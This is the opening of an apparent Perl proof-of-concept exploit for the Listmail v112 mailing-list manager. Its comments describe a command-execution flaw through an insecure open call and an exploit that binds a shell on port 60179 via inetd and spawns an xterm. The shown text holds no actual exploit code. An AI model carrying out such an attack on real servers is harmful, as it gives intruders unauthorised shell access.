ListMail 112 - Command Execution

#!/usr/bin/perl -w

## Listmail v112 by P.M.Systems / PoC Exploit
##
## Listmail is a powerful, hands-free mailing
## list manager which is exploitable due to an
## insecure open call. This exploit will attempt
## to bind a shell at port 60179/fido by using
## inetd. Code to spawn an xterm is as always 
## included.
